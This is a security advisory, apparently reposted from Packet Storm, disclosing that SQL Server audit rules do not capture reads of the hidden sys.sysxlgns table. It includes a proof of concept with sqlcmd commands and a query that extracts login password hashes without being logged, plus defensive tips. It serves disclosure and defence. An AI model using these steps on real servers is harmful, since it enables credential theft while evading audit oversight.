Security
Headlines
HeadlinesLatestCVEs

Headline

Microsoft SQL Server 2014 / 2016 / 2017 / 2019 / 2022 Audit Logging Failure

Microsoft SQL Server 2014, 2016, 2017, 2019, and 2022 appears to ignore audit rules for sys.sysxlgns allowing an attacker with administrative permissions to extract password hashes under the radar. Microsoft told the researcher they are not willing to fix it but acknowledge it as a security problem.

Packet Storm
#sql#vulnerability#windows#microsoft#wordpress#auth

Title: Microsoft SQL Server Password Hash Exposure
Product: Database
Manufacturer: Microsoft
Affected Version(s): 2012-2022
Risk Level: Medium
CVE Reference: N/A
Author of Advisory: Emad Al-Mousa

Overview:

SQL Server is a popular database system, and database systems are a vital backbone in IT infrastructure as different types of systems and applications will require back-end data-store (databsae system). Moreover, Password hashes for Local database accounts are restricted in terms of permission access and only system admins/ DBA’s can access them. of course, attackers will attempt to access them to crack the hashes and access the database system for data exfiltration.


Vulnerability Details:

The following exploit assumes attacker escalated his permission as admin, and he/she will be able extract the password hashes even though an audit is in-place. So, its an audit by pass vulnerability.

currently, SQL Server password hashes are stored in two tables:

sys.sql_logins ----> visible table and auditing can be configured against it

sys.sysxlgns -----> invisible table and requires special access mode and audit rule is not functional !


Proof of Concept (PoC):

I will simulate a way to extract password hashes in a stealthy way (auditing will not capture it), in the following PoC the account is called dodo:

Accessing windows server as administrator, open CMD session using the following command:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

select name,pwdhash from sys.sysxlgns where name=’dodo’;

GO

The password hashes for account “dodo” will be displayed.

Let us create an audit rule using this method to capture “select” statements executed against sys.sysxlgns :

I will create a server-level audit to push audit logs as “binary file”:

USE [master]
GO
CREATE SERVER AUDIT [Audit-2020-SYSTEM-TABLE]
TO FILE
( FILEPATH = N’D:\mssq_audit\’
,MAXSIZE = 0 MB
,MAX_ROLLOVER_FILES = 2147483647
,RESERVE_DISK_SPACE = OFF
)
WITH
( QUEUE_DELAY = 1000
,ON_FAILURE = CONTINUE
,AUDIT_GUID = ‘0333dfad-260b-45a4-8302-d7eb94c14cdc’
)
ALTER SERVER AUDIT [Audit-2020-SYSTEM-TABLE] WITH (STATE = ON)
GO

Then, I will define a database level audit under “MASTER” database to audit SELECT statement by any user/account against the system table sys.sysxlgns as follows:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

CREATE DATABASE AUDIT SPECIFICATION [audit-systemtable]

FOR SERVER AUDIT [Audit-2020-SYSTEM-TABLE]

ADD (SELECT ON OBJECT::[sys].[sysxlgns] BY [public])

WITH (STATE = ON)

GO

The audit specification will be successfully created and can be visibly seen in SQL Server management studio.

Now you attempt to execute select statement again:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

select name,pwdhash from sys.sysxlgns where name=’dodo’;

GO

  • checking audit logs…nothing is recorded !

Conclustion:

Super users and admin accounts must be monitored/audited for real-time monitoring for threat detection, and for future forensic analysis !


  • Defensive Techniques:

configure Operating System Security auditing and Monitoring.
Network Segmentation and Firewall.
pro-actively patch your systems and database systems.


References:
https://databasesecurityninja.wordpress.com/2020/06/02/extract-sql-server-database-password-hashes-without-a-trace/
https://learn.microsoft.com/en-us/sql/relational-databases/system-tables/system-base-tables?view=sql-server-ver16

Packet Storm: Latest News

Ping Identity PingIDM 7.5.0 Query Filter Injection